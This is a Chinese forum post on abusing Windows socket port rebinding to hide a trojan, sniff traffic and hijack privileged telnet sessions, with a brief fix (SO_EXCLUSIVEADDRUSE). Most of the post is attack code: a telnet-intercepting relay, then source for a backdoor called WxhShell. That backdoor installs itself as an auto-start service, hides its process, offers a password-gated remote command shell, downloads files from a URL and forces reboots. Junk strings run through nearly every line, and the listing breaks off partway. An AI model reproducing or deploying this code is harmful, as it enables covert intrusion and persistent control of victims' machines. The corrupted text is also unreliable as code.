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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^4_.5~(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : JD% =w_  
2j Oh~-LU  
  saddr.sin_family = AF_INET; iaLsIy#h  
75jq+O_:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0}PW<lU-  
4! XB?-.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SQ1.jcWW[  
nQa5e_q!u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '_@Y  
tUDOL-Tv  
  这意味着什么?意味着可以进行如下的攻击: =^|^" b  
vjhd|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c'vxT<8fWW  
*rXESw]BR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wr a W  
\=kH7 !  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g G>1  
m$ NBGw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F@& R"-  
`M6!V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q?nXhUD  
SsIy;l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C5CUMYU  
9gZMfP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C\ZL*,%}  
*!$4   
  #include zcF~6-aQ  
  #include X};m\Bz  
  #include %g5TU 6WP  
  #include    pEuZsQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @{iws@.  
  int main() {0nZ;1,m  
  { & Gp@,t  
  WORD wVersionRequested; #v0"hFOH,  
  DWORD ret; /`Yy(?,  
  WSADATA wsaData; HgvgO\`]  
  BOOL val; cv=nGFx6  
  SOCKADDR_IN saddr; ! @{rk p  
  SOCKADDR_IN scaddr; ZR.1SA0x?O  
  int err; :9Zu&t  
  SOCKET s; 5+vCuVZ  
  SOCKET sc; / *RDy!m  
  int caddsize; ,24NMv7  
  HANDLE mt; }zY)H9J~  
  DWORD tid;   ]( V+ qj  
  wVersionRequested = MAKEWORD( 2, 2 ); 1L]7*NJe  
  err = WSAStartup( wVersionRequested, &wsaData ); !rZO~a0  
  if ( err != 0 ) { g]EDL<b  
  printf("error!WSAStartup failed!\n"); Gtd!Y x  
  return -1; l=8)_z;~D  
  } %C\Q{_AS  
  saddr.sin_family = AF_INET; @kvgq 0ab  
   #~3x^ 4Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d)1)/Emyj  
{_0Efc=7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); blNE$X+0|  
  saddr.sin_port = htons(23); ,DK|jf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .=~beTS'Vo  
  { 7F;"=DarOE  
  printf("error!socket failed!\n"); /e1m1B  
  return -1; `au(' xi<  
  } @'C f<wns  
  val = TRUE; ; Xrx>( n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @[u!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GenkYtS  
  { 1@q~(1-o  
  printf("error!setsockopt failed!\n"); A`v(hBM  
  return -1; #P.jlpZk  
  } gYVk5d|8@4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qj5~ lX`W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G;_QE<V~_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -fw0bL%0  
`,i'vb`W#b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OSk:njyC[  
  { ;F9<Yv  
  ret=GetLastError(); RBIf6oxdE  
  printf("error!bind failed!\n"); Zq=t&$*  
  return -1; |={><0  
  } !-b4@=f:  
  listen(s,2); ;v'7l>w3\w  
  while(1) Y^m2ealC  
  { ?P@fV'Jo  
  caddsize = sizeof(scaddr); 0JQy-hpF  
  //接受连接请求 Bzn{~&i?W:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2|@@xF  
  if(sc!=INVALID_SOCKET) &I: [ 'l!  
  { LuY`mi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lA {  
  if(mt==NULL) H1_XEcaM+*  
  { zqfv|3-!}  
  printf("Thread Creat Failed!\n"); *')BP;|V`  
  break; Y,RED5]t  
  } vK6YU9W~J  
  } tt%Zwf  
  CloseHandle(mt); `)e;bLP  
  } qH!}oPeU'  
  closesocket(s); -QjdL9\[c7  
  WSACleanup(); 6eE%x?#  
  return 0; Yh_H $uW  
  }   p 2x OjS1  
  DWORD WINAPI ClientThread(LPVOID lpParam) (RG\U[  
  { W/ZmG]sZE  
  SOCKET ss = (SOCKET)lpParam; q9.)p  
  SOCKET sc; R~8gw^w![  
  unsigned char buf[4096]; GY<ErS)2  
  SOCKADDR_IN saddr; t+Kxww58  
  long num;  \o !  
  DWORD val; u8qL?Aj^  
  DWORD ret; r) Ts(#Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _F>1b16:/P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BM=`zGh"  
  saddr.sin_family = AF_INET; Z l.}=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SY|r'8Z%Q  
  saddr.sin_port = htons(23); %<$CH],%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j*f%<`2`j  
  { :kh l}|  
  printf("error!socket failed!\n"); I2kqA5>)j  
  return -1; -/|O*oZ  
  } 1rh\X[@  
  val = 100; D 7 l&L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +*'  
  { pq_DYG]  
  ret = GetLastError(); (1JZuR<?c  
  return -1; f gI.q  
  } c_clpMx=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {`QF(WL  
  { J0zudbP  
  ret = GetLastError(); S+H#^WSt  
  return -1; 6 GX'&z  
  } ;e;lPM{+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pcXY6[#N  
  { GlP [:  
  printf("error!socket connect failed!\n"); ZiM#g1;  
  closesocket(sc); q# gZ\V$I  
  closesocket(ss); PbxuD*LQ.  
  return -1; FQNhn+A  
  } b7R#tT  
  while(1) Ht+ng  
  { f/Km$#xOr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @z"Zj 3ti  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wpu]{~Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pc{D,/EpR  
  num = recv(ss,buf,4096,0); zYpIG8"o5  
  if(num>0) +4\JY"oi  
  send(sc,buf,num,0); ,{ CgOz+Ul  
  else if(num==0) N%;Q[*d@/  
  break; y2>v'%]2  
  num = recv(sc,buf,4096,0); Z)'jn8?P  
  if(num>0) 8OH<ppi  
  send(ss,buf,num,0); 1~8F&  
  else if(num==0) KIn^,d0H  
  break; St,IWOmq"  
  } ^!k^=ST1J  
  closesocket(ss); =bs4*[zq  
  closesocket(sc); gXI_S9 z  
  return 0 ; &=fBqod  
  } u~<>jAy  
J9ovy>G  
U@yrqT@;AU  
========================================================== i_g="^  
`}k!SqG  
下边附上一个代码,,WXhSHELL #W 1`vke3  
95(c{ l/  
========================================================== $>'}6?C.  
)ZzwD]  
#include "stdafx.h" q9pBS1Ej  
N;A1e@bP  
#include <stdio.h> ~U*2h =]  
#include <string.h> GW'=/ z7  
#include <windows.h> "V~U{(Z  
#include <winsock2.h> N\H{p %8  
#include <winsvc.h> \s&w0V`Y  
#include <urlmon.h> ]=9%fA  
H;*:XLPF  
#pragma comment (lib, "Ws2_32.lib") Bp^>R`,  
#pragma comment (lib, "urlmon.lib") )ty *_@N0  
`h$6MFC/g  
#define MAX_USER   100 // 最大客户端连接数 |F<U;xV$p  
#define BUF_SOCK   200 // sock buffer cgYMo{R3  
#define KEY_BUFF   255 // 输入 buffer Y8.0R-:ZAN  
x0.&fCh%  
#define REBOOT     0   // 重启 'Twi @I  
#define SHUTDOWN   1   // 关机 aEXV^5;,pJ  
jR@-h"2*A  
#define DEF_PORT   5000 // 监听端口 0J$wX yh  
zQ]IlMt  
#define REG_LEN     16   // 注册表键长度 )~d2`1zGS  
#define SVC_LEN     80   // NT服务名长度 ~SM2W%  
$0LlaN@e  
// 从dll定义API &>I8^i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1{o CMq/v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H=X>o.iVqi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P%Q}R[Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ddnWr"_  
&o4L;A#&  
// wxhshell配置信息 54uTu2  
struct WSCFG { UeHS4cW  
  int ws_port;         // 监听端口 b@1QE  
  char ws_passstr[REG_LEN]; // 口令 t T-]Vj.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Wd{4(b  
  char ws_regname[REG_LEN]; // 注册表键名 q6j]j~JxB  
  char ws_svcname[REG_LEN]; // 服务名 7MGc+M(p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _nx|ZJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /f%u_ 8pV%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "45BOw&72G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WK;p[u?~xi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C 2oll-kN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GrM~ %ng  
2vWkAC;   
}; r`<e vwIe  
rEAPlO.Yp  
// default Wxhshell configuration WM@uxe,  
struct WSCFG wscfg={DEF_PORT, X]1ep  
    "xuhuanlingzhe", ]|[xY8 5}  
    1, pY8+;w EI  
    "Wxhshell", (O`=$e  
    "Wxhshell", HNh=igu  
            "WxhShell Service", >F-J}P  
    "Wrsky Windows CmdShell Service", snEkei|0  
    "Please Input Your Password: ", Zfb:>J@h6  
  1, ' > \*  
  "http://www.wrsky.com/wxhshell.exe", |LNXu  
  "Wxhshell.exe" '6/uc:zv  
    }; G&uj}rj  
<K97eAcW  
// 消息定义模块 ZV Gw@3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v>nJy~O]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %pwm34  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }`_2fJ6  
char *msg_ws_ext="\n\rExit."; Q'|cOQX  
char *msg_ws_end="\n\rQuit."; U{O\  
char *msg_ws_boot="\n\rReboot..."; 9*2hBNp+  
char *msg_ws_poff="\n\rShutdown..."; sdO;vp^:b  
char *msg_ws_down="\n\rSave to "; Pc(2'r@#  
17 j7j@s)  
char *msg_ws_err="\n\rErr!"; L>L4%?  
char *msg_ws_ok="\n\rOK!"; g{D&|qWj  
,LMme}FFeb  
char ExeFile[MAX_PATH]; u!@P,,NY  
int nUser = 0; )Z; Y,g  
HANDLE handles[MAX_USER]; J]~fv9~P  
int OsIsNt; 3oKqj>  
qq?>ulu*W  
SERVICE_STATUS       serviceStatus; FF_$)%YUp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '<}7bw}+c  
jOuv\$  
// 函数声明 ow$#kQ&R O  
int Install(void); sO  
int Uninstall(void); 7}lZa~/  
int DownloadFile(char *sURL, SOCKET wsh); e6_.ID'3  
int Boot(int flag); /f6]XP\'`+  
void HideProc(void); oqY?#p/  
int GetOsVer(void); z)]EB6uRg  
int Wxhshell(SOCKET wsl); Q3/q%#q>  
void TalkWithClient(void *cs); tL).f:?  
int CmdShell(SOCKET sock); O.4"h4{'  
int StartFromService(void); Dr2h-  
int StartWxhshell(LPSTR lpCmdLine); pUwX cy<n  
lZua"Ju  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M"FAUqz`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sXydMk`J  
I|ULf  
// 数据结构和表定义 &t8_J3?Z  
SERVICE_TABLE_ENTRY DispatchTable[] = u+R?N% EKP  
{ s<dD>SU  
{wscfg.ws_svcname, NTServiceMain}, tFSdi. |G=  
{NULL, NULL} 7L\GI`y  
}; ef. lM]cO  
-j$l@2g  
// 自我安装 zbi  
int Install(void) E:o:)h?$  
{ |l? ALP_g  
  char svExeFile[MAX_PATH]; 'wZy: c  
  HKEY key; p}.b#{HJ  
  strcpy(svExeFile,ExeFile); E*I]v  
Pz)QOrrG~  
// 如果是win9x系统,修改注册表设为自启动 N1Z8I:  
if(!OsIsNt) { IMR|a*=`c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Q3Snu=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dsua13 hF  
  RegCloseKey(key); b(yO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [!q&r(-K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6^aYW#O<Ua  
  RegCloseKey(key); ^kD? 0Fm  
  return 0; Y-Ku2m  
    } ^(\Gonf<  
  } StDmJ]  
} z\h+6FCD  
else { PHK#b.B>a8  
0C p}  
// 如果是NT以上系统,安装为系统服务 oe*&w9Y}&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pzax~Vp  
if (schSCManager!=0) `p{ !5  
{ Yz,!#ob$  
  SC_HANDLE schService = CreateService R>U<8z"i  
  ( &v-V_.0(H  
  schSCManager, JAb?u.,Ns_  
  wscfg.ws_svcname, j'i42-Lt/p  
  wscfg.ws_svcdisp, cGc|n3(  
  SERVICE_ALL_ACCESS, tN{t-xUgk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !TOi]`vqc  
  SERVICE_AUTO_START, /kA19E4  
  SERVICE_ERROR_NORMAL, ; BZM~ '  
  svExeFile, DqMK[N,0  
  NULL, Xe SbA  
  NULL, 9i<-\w^$  
  NULL, ?Bzi#Z  
  NULL, 3N"&P@/0x  
  NULL e] K=Nm  
  ); M',D  
  if (schService!=0) {g- DM}q  
  { J4}\V$ysN  
  CloseServiceHandle(schService); y,&M\3A  
  CloseServiceHandle(schSCManager); YU=ZZEVi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yOK])&c  
  strcat(svExeFile,wscfg.ws_svcname); ^B5cNEO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dn\F!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i5KwYoN  
  RegCloseKey(key); KF_Wu}q d  
  return 0; daIL> c"  
    } ~{vdP=/WP  
  } ,GJ>vT)  
  CloseServiceHandle(schSCManager); ~J-|,ZMd  
} P"x-7>c>Y  
} ZGpTw[5ql  
bjBeiKH  
return 1; b3b~T]]  
} vif8 {S  
0 BCGJFZ{  
// 自我卸载 fHd!/%iG  
int Uninstall(void) ) , ]2`w&k  
{ r^A#[-VyNP  
  HKEY key; bk wa{V  
Yc82vSG'  
if(!OsIsNt) { K@P`_yxN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N 2"3~  #  
  RegDeleteValue(key,wscfg.ws_regname); T]6c9_  
  RegCloseKey(key); 48 CI8[T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { em1cc,  
  RegDeleteValue(key,wscfg.ws_regname); ,B%fjcn  
  RegCloseKey(key); 6 r.H8  
  return 0; G|-\T(&J  
  } H_?B{We  
} "Ug/ ',jkV  
} 6%.  
else { DMQNr(w{!2  
A6N~UV*_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;}WtJ&y=M  
if (schSCManager!=0) F@ $RV_M  
{ )@,90Vhh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < m enABN4  
  if (schService!=0) xIQ/$[&v  
  { ;T.s!B$Uu  
  if(DeleteService(schService)!=0) { t0bhXFaiE  
  CloseServiceHandle(schService); ;tp]^iB#  
  CloseServiceHandle(schSCManager); :4 j a@~  
  return 0; y~ _za(k  
  } {?*<B=c  
  CloseServiceHandle(schService); i Y*o;z,~  
  } G#w^:UL  
  CloseServiceHandle(schSCManager); ,\lY Px\P[  
} VU! l50   
} 5L-lpT8P  
" ^HK@$  
return 1; 9zZ5Lr^21  
} + UK%t>E8  
;8*XOC;[  
// 从指定url下载文件 X,TTM,1w  
int DownloadFile(char *sURL, SOCKET wsh) 7m:|u*ij2~  
{ 6?V<BgCC  
  HRESULT hr; DS:>/m>)  
char seps[]= "/"; mRhd/|g*  
char *token; )bLGEmm  
char *file; ME$2P!o  
char myURL[MAX_PATH]; d4Co^A&  
char myFILE[MAX_PATH]; gA~20LSt  
?a5h iN0  
strcpy(myURL,sURL); >4n+PXRXX  
  token=strtok(myURL,seps); J~Cc9"(  
  while(token!=NULL) Rx6l|'e  
  { $#%U\mI z  
    file=token; (C daE!I4Q  
  token=strtok(NULL,seps); D]IBB>F  
  } *16<M)7  
l0gY~T/#3  
GetCurrentDirectory(MAX_PATH,myFILE); GE1i+.+-.  
strcat(myFILE, "\\"); C:`;d&d  
strcat(myFILE, file); AV40:y\RW  
  send(wsh,myFILE,strlen(myFILE),0); ;LCTCt`  
send(wsh,"...",3,0); ?X\3&Ujy$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %35L=d[  
  if(hr==S_OK) KH7VR^;mk  
return 0; 1T ( u  
else Qg(Z{V  
return 1; !^m%O0DT  
'E4AV58.  
} ~C&*.ZR  
W'a(oI  
// 系统电源模块 GCDwWCxh  
int Boot(int flag) vr=~M?  
{ $ +;+:K  
  HANDLE hToken; ? ^M /[@  
  TOKEN_PRIVILEGES tkp; U@G"`RYl  
-fE.<)m=!  
  if(OsIsNt) { Nln`fE/Ht  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BZK2$0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HPrq1QpK  
    tkp.PrivilegeCount = 1; uG!:Z6%p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {7*>Cv}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0RUi\X4HI  
if(flag==REBOOT) { 'JieIKu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hoa7   
  return 0; 'OwyyPBF  
} rLU'*}  
else { e,>%Z@92(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 98R KCc9h  
  return 0; .N,&Uv-  
} Q_]d5pl  
  } M|q~6oM  
  else { }pVTTs`  
if(flag==REBOOT) { `ltN,?/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .%}?b~  
  return 0; :_ROJ  
} `:e U.  
else { G?AG:%H%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {o0qUX>[  
  return 0; !M7<BD};  
} > @_im6  
} Xd<t5{bD!  
Kv37s0|g  
return 1; D-2.fjo9!  
} 20b<68h$:  
%dMqpY7"  
// win9x进程隐藏模块 RBwO+J53y  
void HideProc(void) hA}~es=c  
{ -#In;~  
eg/<[ A:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .B72C[' c  
  if ( hKernel != NULL ) b0v:12q  
  { R!(ZMRMn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fpWg R4__  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {D`'0Z1"  
    FreeLibrary(hKernel); SJ?6{2^  
  } %zBCq"y  
WOLuw%  
return; z'7[Tie  
} )yG"^Ulu  
T!RT<&  
// 获取操作系统版本 31WC=ur5  
int GetOsVer(void) gU&%J4O  
{ h6_(?|:-(  
  OSVERSIONINFO winfo; \f:z+F!6R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Q~8?p+  
  GetVersionEx(&winfo); NGC,lv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {ZU1x C  
  return 1; ;G |i^  
  else 5U`ZbG  
  return 0; q:\g^_!OGA  
} 2P#=a?~[  
}t9.N`xu  
// 客户端句柄模块 [XVEBA4GI  
int Wxhshell(SOCKET wsl) );V2?G`/  
{ B* kcN lW  
  SOCKET wsh; O7d$YB_'  
  struct sockaddr_in client; rxn Frx  
  DWORD myID; H}hFFI)#Oo  
_VE^/;$"l  
  while(nUser<MAX_USER) r;BT,jiX  
{ U>Ld~cw  
  int nSize=sizeof(client); fyTAou6hI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %nN `|\  
  if(wsh==INVALID_SOCKET) return 1; zGKyN@o  
3E3U /K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ">f erhN9  
if(handles[nUser]==0) [.se|]t7X  
  closesocket(wsh); q6Rr.A  
else Kl7WQg,XOi  
  nUser++; m!<i0thJ  
  } 1"Z@Q`}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <q*oV  
De7T s  
  return 0; Zl 9aDg  
} dQoYCS}IaV  
)?+$x[f!*  
// 关闭 socket v+p {|X-  
void CloseIt(SOCKET wsh) ^b:( jI*l  
{ ;g{qYj_  
closesocket(wsh); T134ZXqqz  
nUser--; XL#[ %X9  
ExitThread(0); EA ]+vq  
} B9p?8.[  
CYOI.#m2  
// 客户端请求句柄 P96pm6H_;  
void TalkWithClient(void *cs) HeBcT^a  
{ u]}s)SmDk  
m/#a0~dB  
  SOCKET wsh=(SOCKET)cs; ?X@fKAj  
  char pwd[SVC_LEN]; c/c$D;T  
  char cmd[KEY_BUFF]; ~l;[@jsw F  
char chr[1]; NM ]bgpP  
int i,j; 6'\6OsH  
8DP+W$  
  while (nUser < MAX_USER) { s4&^D<  
vJAZ%aW  
if(wscfg.ws_passstr) { V_plq6z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ol4+_n8xj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  hi g2  
  //ZeroMemory(pwd,KEY_BUFF); 8~5cJPi6  
      i=0; KNH1#30 K  
  while(i<SVC_LEN) { [O: !(G je  
l5L.5 $N  
  // 设置超时 ySI~{YVM  
  fd_set FdRead; pp9Zb.D\  
  struct timeval TimeOut; cuOvN"nuNj  
  FD_ZERO(&FdRead); v\(2&*  
  FD_SET(wsh,&FdRead); H'Yh2a`!o  
  TimeOut.tv_sec=8;  }fp-5  
  TimeOut.tv_usec=0; ^eW}XRI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^>"z@$|\:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5`f@>r?  
K~ ;45Z2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2NB L}x  
  pwd=chr[0]; %YOndIS:  
  if(chr[0]==0xd || chr[0]==0xa) { +F dB '  
  pwd=0; )7_"wD` z  
  break; uZ;D!2Q a  
  } zt^48~ry  
  i++; y8fsveX  
    } *L!!]Q2c  
P./VmY'  
  // 如果是非法用户,关闭 socket ZJlEKib%2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rb\6;i8R  
} fxgr`nC  
D%JlbH8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `"%T=w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2)j0Ai%  
ETB6f  
while(1) { 7'OtruJ   
'= l[;Q^Q  
  ZeroMemory(cmd,KEY_BUFF); ?&Pg2]g<  
hR.@b*q?R  
      // 自动支持客户端 telnet标准   : }`-B0  
  j=0; - M,7N}z@;  
  while(j<KEY_BUFF) { wY"Q o7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bn!$UUC  
  cmd[j]=chr[0]; t='# |');  
  if(chr[0]==0xa || chr[0]==0xd) { 7w3CXY  
  cmd[j]=0; x"~~l  
  break; Vx @|O%  
  } Y6&wJ<   
  j++; [V}S <Xp  
    } CpJ0m-7aIH  
}W ^: cp  
  // 下载文件 Uo-`>7  
  if(strstr(cmd,"http://")) { =~+DUMBT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pzb|t+"$  
  if(DownloadFile(cmd,wsh)) 9aJ%`i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /y>>JxAEb  
  else B*E2.\~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k G>?4  
  } bBY^+c<  
  else { Oez>X=Xf  
T,$WlK Wj  
    switch(cmd[0]) { &hk-1y9QS  
  LzCw+@-umw  
  // 帮助 1@lJonlF  
  case '?': { |`;54_f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O-4C+?V  
    break; /6_|]ijc  
  } Y \:0Ev  
  // 安装 L;od6<.*m  
  case 'i': { M5x U9]B  
    if(Install()) pBw0"ff  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7z -7&TE  
    else =V^.}WtO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxS 6:5Uc  
    break; RW P<B0)  
    } qL94SW;  
  // 卸载 G-T0f  
  case 'r': { "HXYNS>  
    if(Uninstall()) $t/x;< .H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o`.R!wm:W  
    else Y{*u&^0{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0T>H)c6:\  
    break; %r+vSGt;5  
    } %K]euEqs  
  // 显示 wxhshell 所在路径 =v*.p=r  
  case 'p': { lKgKtQpi  
    char svExeFile[MAX_PATH]; f$'2}'.!$  
    strcpy(svExeFile,"\n\r"); CwX Z  
      strcat(svExeFile,ExeFile); 46k?b|Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~g7l8H67  
    break; *]i!fzI']  
    } \qUKP"dr  
  // 重启 0dh=fcb  
  case 'b': { sm$ (Y.N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gqWupL  
    if(Boot(REBOOT)) &[hLzlrg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYU9 trHV  
    else { [NFNzwUB  
    closesocket(wsh); a[2vjFf#C  
    ExitThread(0); |T{C,"9y  
    } >s`J5I!  
    break; i%6;  
    } hkO sm6  
  // 关机 {3!E4"p  
  case 'd': { *Y@nVi  
